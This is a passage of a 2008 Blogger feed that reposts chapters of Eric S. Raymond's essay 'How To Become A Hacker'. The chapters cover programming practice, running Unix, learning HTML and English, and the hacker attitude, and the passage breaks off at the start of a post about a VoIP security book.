language features — bits of knowledge — from books, but the mind-set that makes that knowledge into living skill can be learned only by practice and apprenticeship. What will do it is (a) &lt;i&gt;reading code&lt;/i&gt; and (b) &lt;i&gt;writing code&lt;/i&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Peter Norvig, who is one of Google's top hackers and the co-author of the most widely used textbook on AI, has written an excellent essay called &lt;a href="http://norvig.com/21-days.html" target="_top"&gt;Teach Yourself Programming in Ten Years&lt;/a&gt;. His "recipe for programming success" is worth careful attention.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Learning to program is like learning to write good natural language. The best way to do it is to read some stuff written by masters of the form, write some things yourself, read a lot more, write a little more, read a lot more, write some more ... and repeat until your writing begins to develop the kind of strength and economy you see in your models.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Finding good code to read used to be hard, because there were few large programs available in source for fledgeling hackers to read and tinker with. This has changed dramatically; open-source software, programming tools, and operating systems (all built by hackers) are now widely available. Which brings me neatly to our next topic...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_2._Get_one_of the open-source Unixe"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;2. Get one of the open-source Unixes and learn to use and run it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;I'll assume you have a personal computer or can get access to one. (Take a moment to appreciate how much that means. The hacker culture originally evolved back when computers were so expensive that individuals could not own them.) The single most important step any newbie can take toward acquiring hacker skills is to get a copy of Linux or one of the BSD-Unixes or OpenSolaris, install it on a personal machine, and run it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Yes, there are other operating systems in the world besides Unix. But they're distributed in binary — you can't read the code, and you can't modify it. Trying to learn to hack on a Microsoft Windows machine or under any other closed-source system is like trying to learn to dance while wearing a body cast.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Under Mac OS X it's possible, but only part of the system is open source — you're likely to hit a lot of walls, and you have to be careful not to develop the bad habit of depending on Apple's proprietary code. If you concentrate on the Unix under the hood you can learn some useful things.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Unix is the operating system of the Internet. While you can learn to use the Internet without knowing Unix, you can't be an Internet hacker without understanding Unix. For this reason, the hacker culture today is pretty strongly Unix-centered. (This wasn't always true, and some old-time hackers still aren't happy about it, but the symbiosis between Unix and the Internet has become strong enough that even Microsoft's muscle doesn't seem able to seriously dent it.)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;So, bring up a Unix — I like Linux myself but there are other ways (and yes, you &lt;i&gt;can&lt;/i&gt; run both Linux and Microsoft Windows on the same machine). Learn it. Run it. Tinker with it. Talk to the Internet with it. Read the code. Modify the code. You'll get better programming tools (including C, LISP, Python, and Perl) than any Microsoft operating system can dream of hosting, you'll have fun, and you'll soak up more knowledge than you realize you're learning until you look back on it as a master hacker.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;For more about learning Unix, see &lt;a href="http://catb.org/%7Eesr/faqs/loginataka.html" target="_top"&gt;The Loginataka&lt;/a&gt;. You might also want to have a look at &lt;a href="http://catb.org/%7Eesr/writings/taoup/" target="_top"&gt;The Art Of Unix Programming&lt;/a&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;To get your hands on a Linux, see the &lt;a href="http://www.linux.org/" target="_top"&gt;Linux Online!&lt;/a&gt; site; you can download from there or (better idea) find a local Linux user group to help you with installation.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;During the first ten years of this HOWTO's life, I reported that from a new user's point of view, all Linux distributions are almost equivalent. But in 2006-2007, an actual best choice emerged: &lt;a href="http://www.ubuntu.com/" target="_top"&gt;Ubuntu&lt;/a&gt;. While other distros have their own areas of strength, Ubuntu is far and away the most accessible to Linux newbies.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;You can find BSD Unix help and resources at &lt;a href="http://www.bsd.org/" target="_top"&gt;www.bsd.org&lt;/a&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;A good way to dip your toes in the water is to boot up what Linux fans call a &lt;a href="http://www.livecdnews.com/" target="_top"&gt;live CD&lt;/a&gt;, a distribution that runs entirely off a CD without having to modify your hard disk. This will be slow, because CDs are slow, but it's a way to get a look at the possibilities without having to do anything drastic.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;I have written a primer on the &lt;a href="http://en.tldp.org/HOWTO/Unix-and-Internet-Fundamentals-HOWTO/index.html" target="_top"&gt;basics of Unix and the Internet&lt;/a&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;I used to recommend against installing either Linux or BSD as a solo project if you're a newbie. Nowadays the installers have gotten good enough that doing it entirely on your own is possible, even for a newbie. Nevertheless, I still recommend making contact with your local Linux user's group and asking for help. It can't hurt, and may smooth the process.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_3._Learn_how_to use the World Wide "&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;3. Learn how to use the World Wide Web and write HTML.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Most of the things the hacker culture has built do their work out of sight, helping run factories and offices and universities without any obvious impact on how non-hackers live. The Web is the one big exception, the huge shiny hacker toy that even &lt;i&gt;politicians&lt;/i&gt; admit has changed the world. For this reason alone (and a lot of other good ones as well) you need to learn how to work the Web.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;This doesn't just mean learning how to drive a browser (anyone can do that), but learning how to write HTML, the Web's markup language. If you don't know how to program, writing HTML will teach you some mental habits that will help you learn. So build a home page. Try to stick to XHTML, which is a cleaner language than classic HTML. (There are good beginner tutorials on the Web; &lt;a style="border-bottom-style: groove;" href="http://htmldog.com/" target="_top"&gt;here's one&lt;/a&gt;.)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;But just having a home page isn't anywhere near good enough to make you a hacker. The Web is full of home pages. Most of them are pointless, zero-content sludge — very snazzy-looking sludge, mind you, but sludge all the same (for more on this see &lt;a href="http://catb.org/%7Eesr/html-hell.html" target="_top"&gt;The HTML Hell Page&lt;/a&gt;).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;To be worthwhile, your page must have &lt;i&gt;content&lt;/i&gt; — it must be interesting and/or useful to other hackers. And that brings us to the next topic...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_4._If_you_don't have functional Eng"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;4. If you don't have functional English, learn it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;As an American and native English-speaker myself, I have previously been reluctant to suggest this, lest it be taken as a sort of cultural imperialism. But several native speakers of other languages have urged me to point out that English is the working language of the hacker culture and the Internet, and that you will need to know it to function in the hacker community.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Back around 1991 I learned that many hackers who have English as a second language use it in technical discussions even when they share a birth tongue; it was reported to me at the time that English has a richer technical vocabulary than any other language and is therefore simply a better tool for the job. For similar reasons, translations of technical books written in English are often unsatisfactory (when they get done at all).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Linus Torvalds, a Finn, comments his code in English (it apparently never occurred to him to do otherwise). His fluency in English has been an important factor in his ability to recruit a worldwide community of developers for Linux. It's an example worth following.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Being a native English-speaker does not guarantee that you have language skills good enough to function as a hacker. If your writing is semi-literate, ungrammatical, and riddled with misspellings, many hackers (including myself) will tend to ignore you. While sloppy writing does not invariably mean sloppy thinking, we've generally found the correlation to be strong — and we have no use for sloppy thinkers. If you can't yet write competently, learn to.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="" lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-1.html"&gt;chapter-1&lt;/a&gt;&lt;br /&gt;&lt;a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-2.html"&gt;chapter-2&lt;/a&gt;&lt;br /&gt;&lt;a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-3.html"&gt;chapter-3&lt;/a&gt;&lt;br /&gt;&lt;a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-4.html"&gt;chapter-4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;source:Article written by Sir ESR&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-1614078792809148744?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/1614078792809148744/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=1614078792809148744' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1614078792809148744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1614078792809148744'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-2.html' title='How to become a hacker-ch 2'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-362612126801080565</id><published>2008-11-21T00:04:00.003+05:30</published><updated>2008-11-21T00:55:12.629+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>How to become a hacker-ch 1</title><content type='html'>&lt;span style="font-weight: bold; font-style: italic; color: rgb(255, 255, 255);"&gt;Chapter-1&lt;/span&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;amp;postID=541517530539981089#_What_Is_a_Hacker?"&gt;  &lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b&gt;Table of Contents&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;What Is a Hacker?&lt;br /&gt;&lt;br /&gt;The Hacker Attitude&lt;br /&gt;&lt;br /&gt;1. The world is full of fascinating problems waiting to be solved.&lt;br /&gt;&lt;br /&gt;2. No problem should ever have to be solved twice.&lt;br /&gt;&lt;br /&gt;3. Boredom and drudgery are evil.&lt;br /&gt;&lt;br /&gt;4. Freedom is good.&lt;br /&gt;&lt;br /&gt;5. Attitude is no substitute for competence.&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;What Is a Hacker?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;The &lt;a href="http://www.catb.org/jargon" target="_top"&gt;Jargon File&lt;/a&gt; contains a bunch of definitions of the term ‘hacker’, most having to do with technical adeptness and a delight in solving problems and overcoming limits. If you want to know how to &lt;i&gt;become&lt;/i&gt; a hacker, though, only two are really relevant.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;There is a community, a shared culture, of expert programmers and networking wizards that traces its history back through decades to the first time-sharing minicomputers and the earliest ARPAnet experiments. The members of this culture originated the term ‘hacker’. Hackers built the Internet. Hackers made the Unix operating system what it is today. Hackers run Usenet. Hackers make the World Wide Web work. If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you're a hacker.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;br /&gt;&lt;span class="fullpost"&gt; &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;The hacker mind-set is not confined to this software-hacker culture. There are people who apply the hacker attitude to other things, like electronics or music — actually, you can find it at the highest levels of any science or art. Software hackers recognize these kindred spirits elsewhere and may call them ‘hackers’ too — and some claim that the hacker nature is really independent of the particular medium the hacker works in. But in the rest of this document we will focus on the skills and attitudes of software hackers, and the traditions of the shared culture that originated the term ‘hacker’.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;There is another group of people who loudly call themselves hackers, but aren't. These are people (mainly adolescent males) who get a kick out of breaking into computers and phreaking the phone system. Real hackers call these people ‘crackers’ and want nothing to do with them. Real hackers mostly think crackers are lazy, irresponsible, and not very bright, and object that being able to break security doesn't make you a hacker any more than being able to hotwire cars makes you an automotive engineer. Unfortunately, many journalists and writers have been fooled into using the word ‘hacker’ to describe crackers; this irritates real hackers no end.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;The basic difference is this: hackers build things, crackers break them.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;If you want to be a hacker, keep reading. If you want to be a cracker, go read the &lt;a href="news:alt.2600" target="_top"&gt;alt.2600&lt;/a&gt; newsgroup and get ready to do five to ten in the slammer after finding out you aren't as smart as you think you are. And that's all I'm going to say about crackers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_The_Hacker_Attitude"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;The Hacker Attitude&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;amp;postID=541517530539981089#_1._The_world_is%20full%20of%20fascinating"&gt;1. The world is full of fascinating problems waiting to be solved.&lt;o:p&gt;&lt;/o:p&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;amp;postID=541517530539981089#_2._No_problem_should%20ever%20have%20to%20b"&gt;2. No problem should ever have to be solved twice.&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;amp;postID=541517530539981089#_3._Boredom_and_drudgery%20are%20evil."&gt;3. Boredom and drudgery are evil.&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;amp;postID=541517530539981089#_4._Freedom_is_good."&gt;4. Freedom is good.&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;amp;postID=541517530539981089#_5._Attitude_is_no%20substitute%20for%20co"&gt;5. Attitude is no substitute for competence.&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;But if you think of cultivating hacker attitudes as just a way to gain acceptance in the culture, you'll miss the point. Becoming the kind of person who believes these things is important for &lt;i&gt;you&lt;/i&gt; — for helping you learn and keeping you motivated. As with all creative arts, the most effective way to become a master is to imitate the mind-set of masters — not just intellectually but emotionally as well.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Or, as the following modern Zen poem has it:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;&lt;br /&gt;To follow the path:&lt;br /&gt;look to the master,&lt;br /&gt;follow the master,&lt;br /&gt;walk with the master,&lt;br /&gt;see through the master,&lt;br /&gt;become the master.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;So, if you want to be a hacker, repeat the following things until you believe them:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_1._The_world_is full of fascinating"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;1. The world is full of fascinating problems waiting to be solved.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort. The effort takes motivation. Successful athletes get their motivation from a kind of physical delight in making their bodies perform, in pushing themselves past their own physical limits. Similarly, to be a hacker you have to get a basic thrill from solving problems, sharpening your skills, and exercising your intelligence.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;If you aren't the kind of person that feels this way naturally, you'll need to become one in order to make it as a hacker. Otherwise you'll find your hacking energy is sapped by distractions like sex, money, and social approval.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;(You also have to develop a kind of faith in your own learning capacity — a belief that even though you may not know all of what you need to solve a problem, if you tackle just a piece of it and learn from that, you'll learn enough to solve the next piece — and so on, until you're done.)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_2._No_problem_should ever have to b"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;2. No problem should ever have to be solved twice.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Creative brains are a valuable, limited resource. They shouldn't be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;To behave like a hacker, you have to believe that the thinking time of other hackers is precious — so much so that it's almost a moral duty for you to share information, solve problems and then give the solutions away just so other hackers can solve &lt;i&gt;new&lt;/i&gt; problems instead of having to perpetually re-address old ones.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Note, however, that "No problem should ever have to be solved twice." does not imply that you have to consider all existing solutions sacred, or that there is only one right solution to any given problem. Often, we learn a lot about the problem that we didn't know before by studying the first cut at a solution. It's OK, and often necessary, to decide that we can do better. What's not OK is artificial technical, legal, or institutional barriers (like closed-source code) that prevent a good solution from being re-used and &lt;i&gt;force&lt;/i&gt; people to re-invent wheels.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;(You don't have to believe that you're obligated to give &lt;i&gt;all&lt;/i&gt; your creative product away, though the hackers that do are the ones that get most respect from other hackers. It's consistent with hacker values to sell enough of it to keep you in food and rent and computers. It's fine to use your hacking skills to support a family or even get rich, as long as you don't forget your loyalty to your art and your fellow hackers while doing it.)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_3._Boredom_and_drudgery are evil."&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;3. Boredom and drudgery are evil.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work, because when this happens it means they aren't doing what only they can do — solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but actually evil.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;(There is one apparent exception to this. Hackers will sometimes do things that may seem repetitive or boring to an observer as a mind-clearing exercise, or in order to acquire a skill or have some particular kind of experience you can't have otherwise. But this is by choice — nobody who can think should ever be forced into a situation that bores them.)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_4._Freedom_is_good."&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;4. Freedom is good.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop you from solving whatever problem you're being fascinated by — and, given the way authoritarian minds work, will generally find some appallingly stupid reason to do so. So the authoritarian attitude has to be fought wherever you find it, lest it smother you and other hackers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;(This isn't the same as fighting all authority. Children need to be guided and criminals restrained. A hacker may agree to accept some kinds of authority in order to get something he wants more than the time he spends following orders. But that's a limited, conscious bargain; the kind of personal surrender authoritarians want is not on offer.)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and information-sharing — they only like ‘cooperation’ that they control. So to behave like a hacker, you have to develop an instinctive hostility to censorship, secrecy, and the use of force or deception to compel responsible adults. And you have to be willing to act on that belief.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_5._Attitude_is_no substitute for co"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;5. Attitude is no substitute for competence.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;To be a hacker, you have to develop some of these attitudes. But copping an attitude alone won't make you a hacker, any more than it will make you a champion athlete or a rock star. Becoming a hacker will take intelligence, practice, dedication, and hard work.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Therefore, you have to learn to distrust attitude and respect competence of every kind. Hackers won't let posers waste their time, but they worship competence — especially competence at hacking, but competence at anything is valued. Competence at demanding skills that few can master is especially good, and competence at demanding skills that involve mental acuteness, craft, and concentration is best.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;If you revere competence, you'll enjoy developing it in yourself — the hard work and dedication will become a kind of intense play rather than drudgery. That attitude is vital to becoming a hacker.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-1.html"&gt; chapter-1&lt;/a&gt;&lt;br /&gt;&lt;a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-2.html"&gt;chapter-2&lt;/a&gt;&lt;br /&gt;&lt;a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-3.html"&gt;chapter-3&lt;/a&gt;&lt;br /&gt;&lt;a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-4.html"&gt;chapter-4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;source:Article written by Sir ESR&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-362612126801080565?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/362612126801080565/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=362612126801080565' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/362612126801080565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/362612126801080565'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-1.html' title='How to become a hacker-ch 1'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-1841488986998853771</id><published>2008-11-14T23:24:00.002+05:30</published><updated>2008-11-14T23:28:14.260+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><category scheme='http://www.blogger.com/atom/ns#' term='News'/><title type='text'>Hacking VoIP-- New Book Shows How Easy it Is to Attack VoIP</title><content type='html'>Voice over Internet Protocol (VoIP) is an increasingly widespread new technology that allows users 